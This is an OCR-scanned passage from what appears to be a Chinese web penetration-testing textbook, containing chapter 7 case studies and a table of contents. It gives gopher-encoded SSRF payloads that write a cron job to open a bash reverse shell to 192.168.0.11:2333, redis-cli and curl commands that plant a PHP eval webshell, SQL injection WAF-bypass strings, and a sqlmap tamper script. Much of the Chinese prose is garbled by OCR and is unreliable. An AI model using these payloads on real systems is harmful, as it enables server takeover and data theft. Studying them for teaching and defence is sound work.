o EPRGEANAMSSRFMA, X LA, #HiTurldmiS, WFHxR.

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0al%0d%0a$59%0d%0a%0Ba%0a*
/1 * ¥ * * bash -i >& /dev/tcp/192.168.0.11/2333
0>8&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%vaconfigkod%ea$3%0d%0aset%0d%0a$3%0d%0adirkod%0a
$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0
d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

BREMSER TR,

gopher%3A%2f%2f192.168.0.4%3A6379%2F_%2a3%250d%250a%243%250d%250aset%250d%250a%24
1%250d%250a1%250d%250a%2459%250d%250a%250a%250a%2a%211%20%2a%20%2a%20%2a%20%2a%20
bash%20-1%20%3E%26%20%2fdev%2ftcp%2f192.168.0.11%212333%200%3E%261%250a%250a%250a
%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a
%243%250d%250ad1ir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2{%250d%250a%2a4%
250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250a
dbfilename%250d%250a%244%250d%250aroo0t%250d%250a%2al%250d%250a%244%250d%250asave%
250d%250a
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SRR HeurliEsK, W AR, WE7-29F7R.

curl -v
'http://192.168.0.11/ssrf.php?url=gopher%3A%2f%21192.168.0.4%3A6379%2f %2a3%250d%
250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2459%250d%250a%250a%250a
%2a%211%20%22%20%22%20%22%20%2a%20bash%20-1%20%3E%26%20%2fdev%2ftcp%2f192.168.0.1
1%212333%200%3E%261%250a%250a%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig¥%25
0d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fva
r%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250
d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250
a%2a1%250d%250a%244%250d%250asave%250d%250a

E7-29 FIFRedisiFEiE
o URNENRE, BIh&#shell, E7-30F178.

E7-30 Ki#shell
RedisitF —ANE R : R FEE5E MW 45 5842, staT DL R8G5
I IR VIR 1) PP 35 E 5% 5 WebShell, #5401 F Fis .
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redis-cli -h 127.0.0.1 -p 8889 config set dir /var/www/html/

redis-cli -h 127.0.0.1 -p 8889 config set dbfilename webshell.php
redis-cli -h 127.0.0.1 -p 8889 set webshell '111<?php @eval($_POST[a]);
redis-cli -h 127.0.0.1 -p 8889 save

A EmAARITE, BRIRERW TR,

curl -v
"http://192.168.0.11/ssrf.php?url=gopher%3A%2f%2f192.168.0.4%3A6379%2f_%2a4%250d%
250a%246%250d%250acontig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%25
0d%250a%2414%250d%250a%2fvark2fuwws2fhtml%2%250d%250a%2a4%250d%250a%246%250d%250
aconfig¥%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%2
412%250d%250awebshell.php%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%248%
250d%250awebshell%250d%250a%2429%250d%250a111%253C%253Fphp%2520@eval%2528%2524 PO
ST%255Ba%255D%2529%253B%2520%253F%253E%250d%250a%2a1%250d%250a%244%250d%250asave%
250d%250a%250a"

ViR, e TE/var/www/html/ H 5% 4 Ewebshell.php, WE7-31F78 .

Trying

* Connected
> GET [/ss

S@aconfig

250a%
filename®

0a ¢SOa HTTD/l
Host: 192.168.0.11
User-ﬁ ent: curl/7.47
Accept: */*

E7-31 RiZhEWebShell

7.2.3 i
LEF AR — DG ATIZE MR, RPN EEE R 7 CDONGIE, a0 52 Wk
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RiEBEHIEA, ZCDNSH 2K & & IP, SBUTCE VT M Z M vk, tnE7-32F7s .

E7-32 MuhfER T CDN

HsH IR 2 Fh 7L AT PAGEd CON S 38 B SE I P SETP, /& B 35 47 72 IS 48 33 Al )
IheE (FEVEMI I B EIIERAR ). Tl REM— AP, REHEEEBRIEIM
B4 HO RS, B 7-33F 7 o

BN > [ pe

B @ 20188 - T T T

WA .

oz 63K

170 Stimemits | BUEEES? | AN | REHCEE | BN | FANEES

E7-33 EREHEEX
BB RS AT LA B A AR NP, 40P 7-34 57

Received: from =~ - ; funknovm 112 4])}
by Newllx) with SHTP 1d
for <

X-QQ-FEAT: y37167r . .

X-QQ-MAILINFO: NL3WK™ 7
E1Ak5g€ Leji
1Sw monleR .

X-Q0-mid: mxt i

X-QQ-ORGSender - -

E7-34 ZTELHAWIP

— BT, BRAERIIPAI G IPE TR —CB:, FrAaT LB B CBIPkR F
Wk B SEIP, AR5 BT i P TP R 5 SR&8IE CDN Z & Rl . JEMIK S 5, £
FHRIA LA E4E3k18, (HR R LEE RS, Joik L5 WebShell, W 7-35F17R .




390 P Web&4A#Fr: SEMKEREH

USRI

E7-35 Xk LEffWebShell

A 3235 {8 P Nimap 33 18 W 3k FF A o 0, RILAR S35 1780 T 80803 I, HLfF7E
HFEMWNIERE, 7T EEESI M HF TR, mE7-36F7R.
e 5 o Uploads/

Index of /Uploads

E7-36 BRIERE

WK E R TIRC, EERMT —MFFA: 8080 M2 34k 28,
FERONE O FAERI B A ScfF, Hso/ EA£F 78080 1 b, FAEFRIE R AR —H
B, tnE7-37F1E7-38FT 7~ o

:8080/Uploads/image/2017-03-20/5ab07298f1384.png

&7-37 8080w ORI
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Eﬂ Elements Console Sources Network Performance Memory Application  Security

1-- saved from url=(
html>
* <head>_</head>
T cbody>

» <header>..</header>

P <div class-"inner met_flash">_</div>

¥div class="index inner”>

¥ <div class~"aboutus style-1"»
P <h3 class«"title">.</h3>

¥<div class="ac style-"height: 191px;">
¥ <div> .
<img src"httpl R /Unloads/image/2017-03-20/5ab07298¢1384 . png™ style;

E7-38 80w KIS

W, R IN8080%: HAE/EIS PUTHRIR, 7T LB E & WebShell, FrLA
7680803 M _E _F4&—/PHP WebShell L, 4R J5 5t AT LLE I 80u L1517 7 (8080 [
ANEVPHPRER, B LAAS e B 288080 15 1A .

7.24 EBEERY

EBARA P BN NG, FIESFBET R, AN A —FE AR R
T session/8 %11 LA A S o I 6 L T 25 L A R 1R 7 5 T
MATHLS, PEVEERITM, )5 RS SR EREIIOER, WREAN
FEERIEDIER, HMREERT, WE7-39HF.

HEIZS
a

4 pivangz]
a
Eate [As)

E7-39 EEFRHNFE

A AR P e s it A 21 AT
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302 P WebEA &l HENREKIES

HE M ANFEBREREN TR,
e HOHKSZ18000000002, ZEE & MK S &18000000001 .
o  ENNEE FITHFWANTABRHE, #5/2E B %00 FLH .

o  EHE—ATABEME A 18000000001, #RJ58E “FREIRIFL” GXEN
TR, HEBEERIEEEREST L) 24, mE7-400TR,

FREEES

& 18000000001

P
99947
4 TA

EAkS (VUSR]
El7-40 FRERIIERS (1)

o TEE/TABWM L, #iA18000000002, #RJ5H 7 “IKEUKIES” GXH
NTER, HEBEERIFEERERET L) &4, wE7-4157R.

HEET

& 18000000002

&
89205

H A

2aks (VAEs]
E7-41 FRERIEIERS (2)

AR G i sl S it A 2]
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o [EFE—ANTABWHE, MALESE A TABE P IRE I KIFFE89205, #E
B “HiN 7 5, ARG K-S 18000000001 f 5 i sk O B B T T, tn&7-42

Fi7s.
KRE=G
& 18000000001
& 89205 AU

faRl i p A

T IN

E7-42 EETBEHRAFPNER

I 55 25 Ui 4 By 9645 30 IR D 2 R IE B B J7 9% . W POST 4% 3 (14 J 5 46 ViE A5 AN
session P E A E IS R B —8, R %, NEBEHPEY. EEFERRE
TR

o FATABRIMRBALERAEINS, AR5 %5 session 5 Acode=99947.

o HETATABRIAKIUEAS KRR, AR5 [Msession 5 Acode=89205.

e HTPIANTABIUE KL FE—/% 7 imx it BreUE A codeE 2

5B —NcodefH .

o MRS ESuHIBIE, POST/E# Acode=89205, Tfisession™ code=89205, Ff
PLE S TR, SERTFIESE —ANTABIUH (BIAERIEH CFVLE) MiEE
A R I HAE S — NTABI I EE 7 HARK P %R,

7.25 SQLEA

Fot—AN WAk B AT E AR, %435 1Aid=1"id=1 and 1=1,id=1 and 1=2}, IRIEFE
FEiR [El 5 5, ] DU WHZ U A7 ESQLIE IR, 1 7-43~&7-45F 7R

&« C' | © 192.168.251.10/sqli.php?id=1%27

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in C:\phpStudy\WWW\sqli.php on line 9

E7-43 ip@Eid=1"

A M FH i Az it 25 2T A6
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394 P WebRAAbr: HiEMXEERES

(- c | @192168251 10/sthhp?|d 1%20and%20| 1
test: 1111
E7-44 ijjElid=1 and 1=1

¢ - ¢ |©192168.251.10/sqliphpZid=1%20and%201=2

& 7-45 ifEid=1 and 1=2

7EA# F order by fllunioni& A ZiAIENRS, EE KIS A LB F, B
Wr 7 v, anE7-46 N 7-47FT R

@ 192.168.251.10/sqli.phpid=1%200rder%20by3%203

SN RSAFSENSY, CRMNEERREIER!

E7-46 {#Rorder byigf)

| ® 192.168.251.10/sqli.php?id=1%20union%20select%201,2,3 4

SERMHRIEFSENSY, DHRNERRIEEER

E7-47 {EMunioniZa)

AT FRZPRARGE TR, TEAIRZRAER TAERE, BANHRD R
W R,

e  Jjiid=1 union, FEFIRES, (HRIBAJEMHEIZE, WET7-48F7R.

¢ o ¢ | @192168251.10/5qliphpid= 1union

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in C:\phpStudy\WWW\sqli.php on line 8

E7-48 iflalid=1 union
1Jj [i]id=1 union select, EA)HEFHE, tlﬂ @7-49)5)? TN o

é 192."I68:25’;7|>.710/sqh php7.id: I?eé(iun:orx%?ﬂséé(l

BMEEMNREBEASENSY, SHNNERRIQEIEN

& 7-49 ifjglid=1 union select

ASCHE AR M P 3 BB AL 4 S
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LRF AR T RN, MaRE T REFIHEHITHN.
e jlalid=1 union/**/select, iEAJHEERL, AE7-50F7R.

@ l92.{68.251.lO/sqi:.php’id_ H{\?.dunionlr"/sele(:l

BFREEMERESEASENEY, BEMLEERIGER!
[E]7-50 iflalid=1 union/**/select
Pillid=1 union%26select, %26 & Hurlgmfdtg =, FH&RZEAN T KWEZM

PR B2 1 union&selectdF 43 A1 unionfliselect, MIRFEIZERATLLEH, B
PR R IRFT1 union&selecti 1T T #75r, M -FECHIE H4E, WE7-51F7R.

¢ > ¢ | @ 192.168.251.10/sqli php?id=1%20union%26select

E7-51 ifislid=1 union%26select

15 1a)id=1 union/*%26*/select, FEF 4L, M D& gud T B34 roA i,
B 7-52F 7
shc @192_168.30154/sql1php’1dI%?[)ungr\/%ZG/sﬂed 7 g Tl

Warning: mysqli_fetch_array() expects parameter 1 to be mysgli_result, boolean given in C:\phpStudy\WWW\sgli.php on line 9

[E7-52 ii[alid=1 union/*%26*/select

Vi lalid=1 union/*%26*/select/*%26*/1,user(),3,4, TR [E] T user()HI4E &,
WL RIS T, wE7-535R.

€ & C | © 192168.30.154/sqliphp?id=-1%20union/*%26*/select/*%26*/1,user(),34

ré>§t@loc5ihost:4 -
E7-53 mIhfERMunioniEa
®  jlid=-1 union/*%26*/select/*%26*/1,table name,3,4/*%26*/from/ *%26*/
information_schema.tables/*%26*/where/*%26*/table_schema="test', 21 JK HX

HEFERY, BERIEAGRER, WET-545T7R.

S T b a5 3 2 2 A
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396 B Webdea sk By: S Ekisd
© 192.168.251.10/sqli.php?id = - 19%20union/*%26* /select/*%:26" /1 table r

IBFRZMIEREEAAZENSY, DEMBERRREL®!
El7-54 #E

R *%26%/38 B/ *%26%23%/, %237 BE FEVE R A # Il A Ag R, 45
R ThEL By, anE7-55F7R.

e C | @ 192.168.251.10/sqli.php?id =-1%20union/* %26%23*/select/*%26° /1 table name, 3,49620from$20information schema tables®20where®20table schema=9%27test%27

users: 4

E7-55 BRIhERIBAF

o PUATHHER A, FTUEBRNTE LT, 18 F SQLMap /S RESREVELE, tn /&
7-56 7~

| B C:\WINDOWS\system32\cmd.exe - [m] X

E7-56 fERASQLMAPEA

o 45—/ Ntest.pyfitamper i A (2 FSQLMap H 3% F fiitamper H 5 T ),
B HIE R SR N /*%26%23%/, ARSI R .

#!/usr/bin/env python

AS PR R b e AZ 9T 27 20 A
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Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission

from 1lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST

def dependencies():
pass

def tamper(payload, **kwargs):

Replaces UNION ALL SELECT with UNION SELECT

>>> tamper('-1 UNION ALL SELECT')
‘-1 UNION SELECT'

return payload.replace(" ", "/*%26%23*/") if payload else payload

)5 SQLMapBEATIEN, TEAIUIT Fi7R .

python sgqlmap.py -u "http://192.168.251.10/ sqli.php?id=1" --tamper=test

F| 1 Ztamper B A B HIREUE 4R, WiE7-57 R .

B C:AWINDOWS\system32\cmd.exe - a X |

E7-57 FIHtamperikBEIE
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A= &5 hR 7= PR

FEL T H R ARE X A A dh 2 B A R o AR AR AR N A5 T 7
", Bl HESGELE S MEERAERIIT N, Bl Bk RGAEE
AT, SR (P NRICAEZEEBGE), HAT N RA TR R R
HIEMTEGUE, MRIRIRR, RiisE M F 3.

AT HEFTHHRT, RIPBFIAKEZER L, BAEBIKIEELMITER
B R A AL AN N o AL & TN SRR IR BRALE IRAT 9, At %
FERATIN R, FREZR A RS BB R .

ZEARHETE: (010) 88254396; (010) 88258888
f&  E: (010) 88254397
E-mail: dbqg@phei.com.cn
WEMIE: bR ARER 173 54

B TR BRI A =
BE 4m: 100036



WAL I




w' XA - ITHARIAR & A2

www.broadview.com.cn

Broadvie
BARBIA - £UoIHHK

OWASP RERIMERREATENARETEN
TESEWRE, LTHRE Web R277H, 1E4 OWASP
PEIERATA, FARREHFRT ABHERA—
TP, BRI ABHFEERERT R, ATEFHHL

FHEABTMNBENHAEEH R, ENTESHE
BEFE, BN TEAXFTEBENZHR JUES
BARENREEE, REBEANBER, ARE
ZHERIIE, RBEIENEHRER, KESENE
1, WHIEEE, SENLEMER, MRERIEN
EAXGIHTTNE, B—ELERE, BEEZET
PURIB KRB RGIBTRAZE S,

MEBHRERER T UBHIEZRATIRL

. BERREH, BTAREN “KEEmEE" |
— &R
OWASP hEERAFTA

ZEEPNETRAFNAR R, BETU—K

EEZRNVIR, A BERSEXBRE, EFNEH,

HEAR. BT ERNERIIRER, KBERET

XILFHREREN, REBHMIR. RRAEHS,

APETERHTERE, XALRRLER, B
Web R XEBEBRR S,

— By

FTURHEHATREAR

WRIRB¥FE, EQNRBERT T LB, FHizE
BRERGIHTT EE, REREHEHAPRSENR
T#EM, HFEEERN, TNESHMEAREFINE
MERETENTE, REREHMATRSEN

NEENRESSIHPENERE THELESE|
BREBAI RRIT RAREN ONEZ B, Web K|
BENEENBSHERASSMFEAD, R
RBMABEENEREFT, TRRMY, EREH|
App BIFRES 28, Web REHEEZVHRE S, &P |
RGHA %TémV%bﬂ%&XMEE@ﬁi‘%
£t X 5TER, %%SAV%b§$AE%+T#w
%%O

———m%%t
EFETMERRBNERATEEEE

hERARE W EBE S E%k

BRNERTHENRE : #3838, —’Pﬁﬁﬂ%% '

FER®S, ¥E0—HMA, BEaEEV EERH. |

$EL%K%%%\m,E@§WeWE,Au$I
BEREXRER, ROBRANBREBRENBE | A
ABHANBE, EZHERRPFHER. ‘
HOFTREN, FRRBHENSENLR, FERSE
EREXARE, HFNFRH,
—— Mecvoodoo
XA RIFRETRR

|
REH, BA? ABBHEEKE. BHAH.
ERFIE. ANSE. NRERZNE, EANET
—REEBENZEEETNBREZRTNNEA, EXNES
BTGB, ABEEEAMERLAHNT
pEes, AFHETRRETE, THRAEERA
SURLREEENRLHBE, EuyéMﬂ%wﬁ
A, BBV ATE. EE. Wik, RHEREA

IR, SME=ZRBFELABN, AKESNRE HARBELLHE, ‘
B, REREERHTREENATII, P (Seay. W)
e BUEREBL AL
360 -1 B2 EATHER L FREUZ2LH
|
|
\
4283-7

B =Broadview

ﬁk‘] zﬁiﬂ *Bwl]l =]
23 1&%55 H 4:‘
HEgit: %% ?F-v R

\/

=T T=1]

el @180l =Broadview

-121-3
H
.007T

]G
8

L
EM:

WaBURAK |




	第 1 章 渗透测试之信息收集
	1.1 收集域名信息
	1.1.1 Whois 查询
	1.1.2 备案信息查询

	1.2 收集敏感信息
	1.3 收集子域名信息
	1.4 收集常用端口信息
	1.5 指纹识别
	1.6 查找真实 IP
	1.7 收集敏感目录文件 .
	1.8 社会工程学

	第 2 章 搭建漏洞环境及实战
	2.1 在 Linux 系统中安装 LANMP
	2.2 在 Windows 系统中安装 WAMP
	2.3 搭建 DVWA 漏洞环境
	2.4 搭建 SQL 注入平台
	2.5 搭建 XSS 测试平台

	第 3 章 常用的渗透测试工具 .
	3.1 SQLMap 详解
	3.1.1 安装 SQLMap
	3.1.2 SQLMap 入门
	3.1.3 SQLMap 进阶：参数讲解 .
	3.1.4 SQLMap 自带绕过脚本 tamper 的讲解

	3.2 Burp Suite 详解
	3.2.1 Burp Suite 的安装
	3.2.2 Burp Suite 入门
	3.2.3 Burp Suite 进阶

	3.3 Nmap 详解
	3.3.1 安装 Nmap
	3.3.2 Nmap 入门
	3.3.3 Nmap 进阶


	第 4 章 Web 安全原理剖析
	4.1 SQL 注入的基础
	4.1.1 介绍 SQL 注入
	4.1.2 SQL 注入的原理
	4.1.3 与 MySQL 注入相关的知识点
	4.1.4 Union 注入攻击
	4.1.5 Union 注入代码分析
	4.1.6 Boolean 注入攻击
	4.1.7 Boolean 注入代码分析
	4.1.8 报错注入攻击
	4.1.9 报错注入代码分析

	4.2 SQL 注入进阶
	4.2.1 时间注入攻击
	4.2.2 时间注入代码分析
	4.2.3 堆叠查询注入攻击.
	4.2.4 堆叠查询注入代码分析
	4.2.5 二次注入攻击
	4.2.6 二次注入代码分析
	4.2.7 宽字节注入攻击
	4.2.8 宽字节注入代码分析
	4.2.9 cookie 注入攻击
	4.2.10 cookie 注入代码分析
	4.2.11 base64 注入攻击
	4.2.12 base64 注入代码分析
	4.2.13 XFF 注入攻击
	4.2.14 XFF 注入代码分析

	4.3 SQL 注入绕过技术
	4.3.1 大小写绕过注入
	4.3.2 双写绕过注入
	4.3.3 编码绕过注入
	4.3.4 内联注释绕过注入
	4.3.5 SQL 注入修复建议

	4.4 XSS 基础
	4.4.1 XSS 漏洞介绍
	4.4.2 XSS 漏洞原理
	4.4.3 反射性 XSS 攻击 .
	4.4.4 反射型 XSS 代码分析
	4.4.5 储存型 XSS 攻击 .
	4.4.6 储存型 XSS 代码分析
	4.4.7 DOM 型 XSS 攻击
	4.4.8 DOM 型 XSS 代码分析

	4.5 XSS 进阶
	4.5.1 XSS 常用语句及编码绕过
	4.5.2 使用 XSS 平台测试 XSS 漏洞
	4.5.3 XSS 漏洞修复建议 .

	4.6 CSRF 漏洞
	4.6.1 介绍 CSRF 漏洞
	4.6.2 CSRF 漏洞的原理
	4.6.3 利用 CSRF 漏洞
	4.6.4 分析 CSRF 漏洞代码 .
	4.6.5 CSRF 漏洞修复建议

	4.7 SSRF 漏洞
	4.7.1 介绍 SSRF 漏洞
	4.7.2 SSRF 漏洞原理 .
	4.7.3 SSRF 漏洞利用
	4.7.4 SSRF 漏洞代码分析
	4.7.5 SSRF 漏洞修复建议

	4.8 文件上传
	4.8.1 介绍文件上传漏洞
	4.8.2 有关文件上传的知识
	4.8.3 JS 检测绕过攻击
	4.8.4 JS 检测绕过攻击分析
	4.8.5 文件后缀绕过攻击
	4.8.6 文件后缀绕过代码分析
	4.8.7 文件类型绕过攻击 .
	4.8.8 文件类型绕过代码分析
	4.8.9 文件截断绕过攻击
	4.8.10 文件截断绕过代码分析
	4.8.11 竞争条件攻击
	4.8.12 竞争条件代码分析
	4.8.13 文件上传修复建议

	4.9 暴力破解
	4.9.1 介绍暴力破解漏洞
	4.9.2 暴力破解漏洞攻击
	4.9.3 暴力破解漏洞代码分析
	4.9.4 暴力破解漏洞修复建议

	4.10 命令执行
	4.10.1 介绍命令执行漏洞
	4.10.2 命令执行漏洞攻击
	4.10.3 命令执行漏洞代码分析
	4.10.4 命令执行漏洞修复建议

	4.11 逻辑漏洞挖掘
	4.11.1 介绍逻辑漏洞
	4.11.2 越权访问攻击
	4.11.3 逻辑漏洞：越权访问代码分析
	4.11.4 越权访问修复建议

	4.12 XXE 漏洞
	4.12.1 介绍 XXE 漏洞
	4.12.2 XXE 漏洞攻击
	4.12.3 XXE 漏洞代码分析
	4.12.4 XXE 漏洞修复建议

	4.13 WAF 的那些事
	4.13.1 介绍 WAF
	4.13.2 WAF 判断
	4.13.3 一些 WAF 的绕过方法


	第 5 章 Metasploit 技术
	5.1 Metasploit 简介
	5.2 Metasploit 基础
	5.2.1 专业术语
	5.2.2 渗透攻击步骤

	5.3 主机扫描
	5.3.1 使用辅助模块进行端口扫描
	5.3.2 使用辅助模块进行服务扫描
	5.3.3 使用 Nmap 扫描

	5.4 漏洞利用
	5.5 后渗透攻击：信息收集
	5.5.1 进程迁移
	5.5.2 系统命令
	5.5.3 文件系统命令

	5.6 后渗透攻击：权限提升
	5.6.1 利用 WMIC 实战 MS16-032 本地溢出漏洞
	5.6.2 令牌窃取
	5.6.3 Hash 攻击

	5.7 后渗透攻击：移植漏洞利用代码模块
	5.7.1 MS17-010 漏洞简介、原理及对策 .
	5.7.2 移植并利用 MS17-010 漏洞利用代码

	5.8 后渗透攻击：后门
	5.8.1 操作系统后门
	5.8.2 Web 后门

	5.9 内网攻击域渗透测试实例
	5.9.1 介绍渗透环境
	5.9.2 提升权限
	5.9.3 信息收集
	5.9.4 获取一台服务器的权限
	5.9.5 PowerShell 寻找域管在线服务器
	5.9.6 获取域管权限
	5.9.7 登录域控制 .
	5.9.8 SMB 爆破内网
	5.9.9 清理日志


	第 6 章 PowerShell 攻击指南
	6.1 PowerShell 技术
	6.1.1 PowerShell 简介
	6.1.2 PowerShell 的基本概念
	6.1.3 PowerShll 的常用命令

	6.2 PowerSploit
	6.2.1 PowerSploit 的安装 .
	6.2.2 PowerSploit 脚本攻击实战 .
	6.2.3 PowerUp 攻击模块讲解
	6.2.4 PowerUp 攻击模块实战演练

	6.3 Empire .
	6.3.1 Empire 简介 .
	6.3.2 Empire 的安装
	6.3.3 设置监听
	6.3.4 生成木马
	6.3.5 连接主机及基本使用
	6.3.6 信息收集
	6.3.7 权限提升
	6.3.8 横向渗透
	6.3.9 后门 .
	6.3.10 Empire 反弹回 Metasploit .

	6.4 Nishang
	6.4.1 Nishang 简介
	6.4.2 Nishang 模块攻击实战
	6.4.3 PowerShell 隐藏通信遂道
	6.4.4 WebShell 后门
	6.4.5 权限提升


	第 7 章 实例分析 .
	7.1 代码审计实例分析
	7.1.1 SQL 注入漏洞
	7.1.2 文件删除漏洞
	7.1.3 文件上传漏洞
	7.1.4 添加管理员漏洞
	7.1.5 竞争条件漏洞

	7.2 渗透测试实例分析
	7.2.1 后台爆破
	7.2.2 SSRF+Redis 获得 WebShell
	7.2.3 旁站攻击
	7.2.4 重置密码
	7.2.5 SQL 注入



